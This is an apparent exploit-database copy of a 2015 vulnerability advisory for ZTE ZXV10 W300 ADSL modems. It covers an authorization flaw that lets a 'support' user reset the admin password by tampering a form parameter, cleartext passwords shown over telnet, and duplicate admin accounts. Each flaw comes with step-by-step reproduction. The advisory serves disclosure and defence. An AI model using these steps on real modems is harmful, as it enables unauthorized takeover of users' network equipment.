ZTE ADSL ZXV10 W300 modems - Multiple vulnerabilities

vendor:

ZXV10 W300

by:

Karn Ganeshen

8,8

CVSS

HIGH

Insufficient authorization controls, Sensitive information disclosure - clear-text passwords, (Potential) Backdoor account feature - insecure account management

287, 200, 522

CWE

Product Name: ZXV10 W300

Affected Version From: W300V2.1.0f_ER7_PE_O57

Affected Version To: W300V2.1.0h_ER7_PE_O57

Patch Exists: YES

Related CWE: CVE-2015-7257, CVE-2015-7258, CVE-2015-7259

CPE: 2.3:o:zte:zxv10_w300:2.1.0f_er7_pe_o57, 2.3:o:zte:zxv10_w300:2.1.0h_er7_pe_o57

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2015

ZTE ADSL ZXV10 W300 modems – Multiple vulnerabilities

Any non-admin user can change 'admin' password by accessing Password Change page - http://<IP>/password.htm and submitting request. Intercept and Tamper the parameter username change from 'support' to 'admin' and enter the new password. Also, displaying user information over Telnet connection, shows all valid users and their passwords in clear-text. Same login account can exist on the device, multiple times, each with different priority#. It is possible to log in to device with either of the username/password combination.

Mitigation:

Enforce strong authentication and authorization controls. Use secure protocols for communication. Use encryption for sensitive data.

Source

Exploit-DB raw data:

# Exploit Title: [ZTE ADSL ZXV10 W300 modems - Multiple vulnerabilities]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [www.zte.com.cn]
# Versions Reported: [W300V2.1.0f_ER7_PE_O57 and W300V2.1.0h_ER7_PE_O57]

*CVE-ID*:
CVE-2015-7257
CVE-2015-7258
CVE-2015-7259

*Note*: Large deployment size, primarily in Peru, used by TdP.

1 *Insufficient authorization controls*
*CVE-ID*: CVE-2015-7257
Observed in Password Change functionality. Other functions may be
vulnerable as well.

*Expected behavior:*
Only administrative 'admin' user should be able to change password for all
the device users. 'support' is a diagnostic user with restricted
privileges. It can change only its own password.

*Vulnerability:*
Any non-admin user can change 'admin' password.

*Steps to reproduce:*
a. Login as user 'support' password XXX
b. Access Password Change page - http://<IP>/password.htm
c. Submit request
d. Intercept and Tamper the parameter  username  change from 'support' to
'admin'
e. Enter the new password > old password is not requested > Submit
> Login as admin
-> Pwn!


2 *Sensitive information disclosure - clear-text passwords*
*CVE-ID*: CVE-2015-7258
Displaying user information over Telnet connection, shows all valid users
and their passwords in clear-text.

*Steps to reproduce:*
$ telnet <IP>
Trying <IP>...
Connected to <IP>.
Escape character is '^]'.
User Access Verification
Username: admin
Password: < admin/XXX1

$sh
ADSL#login show                 <-- shows user information
Username Password Priority
admin        password1 2
support      password2 0
admin         password3 1

3 *(Potential) Backdoor account feature - **insecure account management*
*CVE-ID*: CVE-2015-7259
Same login account can exist on the device, multiple times, each with
different priority#. It is possible to log in to device with either of the
username/password combination.

It is considered as a (redundant) login support *feature*.

*Steps to reproduce:*
$ telnet <IP>
Trying <IP>...
Connected to <IP>.
Escape character is '^]'.
User Access Verification
User Access Verification
Username: admin
Password: <-- admin/password3

$sh
ADSL#login show
Username  Password  Priority
admin  password1  2
support  password2  0
admin  password3  1

+++++
-- 
Best Regards,
Karn Ganeshen